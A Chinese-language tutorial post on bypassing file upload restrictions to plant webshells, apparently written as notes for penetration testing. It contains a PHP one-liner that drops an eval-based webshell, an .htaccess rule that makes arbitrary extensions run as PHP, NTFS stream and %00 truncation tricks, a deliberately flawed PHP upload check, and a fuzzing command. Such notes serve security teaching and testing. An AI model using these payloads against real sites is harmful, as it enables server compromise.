0%

文件上传操作整理

获取Webshell的常见操作,整理一下。

上传及绕过

常见上传点

  • 上传头像
  • 上传相册
  • 上传附件
  • 添加文章图片
  • 前台留言资料上传
  • 编辑器文件上传

后缀绕过

  • PHP:php2、php3、php5、phtml、pht(是否解析需要根据配置文件中设置类型来决定)
  • ASP:asa、cer、cdx
  • ASPX:ascx、ashx、asac
  • JSP:jsp、jspx、jspf

绕过类型

  • Content-Type绕过
  • 前端绕过
  • 文件解析规则绕过
  • Windows环境特性绕过
  • 文件名大小写绕过
  • 双写绕过
  • 点空格绕过
  • 文件头绕过
  • 条件竞争绕过

漏洞在系统中的差异

IIS 5.x/6.0 解析漏洞

1、当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件。例如: 漏洞目录利用形式:www.xxx.com/xx.asp/xx.jpg。 xx.jpg的内容可以为一段合法的asp脚本文件。 2、服务器默认不解析”;“以后的内容,导致xx.asp;.jpg被解析成xx.asp 漏洞文件利用形式:www.xxx.com/xx.asp;.jpg xx.jpg的内容可以为一段合法的asp脚本文件。

Nginx 解析漏洞

在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于php.ini配置文件中,默认是开启的,当URL中有不存在的文件时,PHP就会默认向前解析。

普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。访问http://www.xx.com/phpinfo.jpg/1.php 这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP-CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。如果开启了这个选项,那么就会触发在PHP中的如下逻辑:PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。

在默认Fast-CGI开启状况下上传名字为xx.jpg,内容为: <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php。

Apache 解析漏洞

Apache 在1.x和2.x版本中存在解析漏洞,例如如下地址格式:

1
www.xxxx.com/apache.php.bbb.aaa

Apache从右至左开始判断后缀,若aaa非可识别后缀,再判断bbb,直到找到可识别后缀为止,然后将该可识别后缀进解析,因此如上地址解析为访问apache.php文件。

另外对于Apache解析漏洞的正确说法应该是,使用module模式与php结合的所有版本apache存在未知扩展名解析漏洞,使用fastcgi模式与php结合的所有版本apache不存在此漏洞。而是否解析的后缀名在文件mime.types(互联网媒体类型(Internet media type,也称为MIME类型(MIME type)或内容类型(content type))中查找是否出现。

测试方法

前端验证

只在前端利用JS来做效验,采用禁用JS上传、抓包上传都可以绕过此处限制。

.htaccess规则文件绕过

在一些启用了.htaccess文件的网站上就可以使用此文件类型来绕过限制较全面的黑名单过滤。

先上传一个.htaccess文件,内容为:AddType application/x-httpd-php .aaa。然后再上传文件后缀为.aaa的文件,让其解析为php类型文件。上传成功后即可访问并getshell。

文件名后缀大小写混合绕过

在对后缀的判断中,如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过形式。如a.PHp

Windows文件流特性绕过

流文件,即NTFS交换数据流(alternate data streams,简称ADS),是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中,它使用资源派生来维持与文件相关的信息。创建一个数据交换流文件的方法很简单,命令为“宿主文件:准备与宿主文件关联的数据流文件”。

上传文件:xxx.php::$data。访问时可以直接访问xxx.php文件。

%00截断绕过

以上问题被绕过的根本原因是采用了一些有缺陷的黑名单限制,一般采用白名单的限制会减少相当多的绕过问题产生,但是并不意味着一定安全,在某些没有处理严格的程序上,仍然可以采用截断绕过的形式。

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

可以看出代码采用的白名单校验,只允许上传图片格式,理论上这个上传是不好绕过的。但是后面采用保存文件的时候,是路径拼接的形式,而路径又是从前端获取,所以我们可以采用在路径上截断。如下上传,显示文件路径中有个空格,这并不是真正意义上的空格,而是%00截断后显示成的空格。

1559095054720

文件头检测绕过

JPG:文件头前十个字节为FF D8 FF E0 00 10 4A 46 49 46,FF D8代表SOI标记,意思是图像文件开始值。4A 46 49 46代表字符串JFIF标记。

PNG:开头4字节为右栏中‰PNG字样,PNG的8字节文件署名域用来识别该文件是不是PNG文件。也就是89 50 4E 47 0D 0A 1A 0A

GIF:GIF89a

利用工具实现FUZZ

很多网站对上传进行拦截的时候采取的是黑名单校验,当我们看到黑名单的时候就可以考虑采取修改后缀、截断等方式尝试绕过。

采用工具 https://github.com/c0ny1/upload-fuzz-dic-builder 来生成fuzz的字典。执行命令:

1
python upload-fuzz-dic-builder.py -n test -a jpg -l php -m apache --os win -o upload_file.txt

把生成的字典导入burp中,同时取消payload-encoding的选中状态。执行后可以看到有些php文件上传成功。然后访问其中上传成功的文件,查看是否执行。

欢迎关注我的其它发布渠道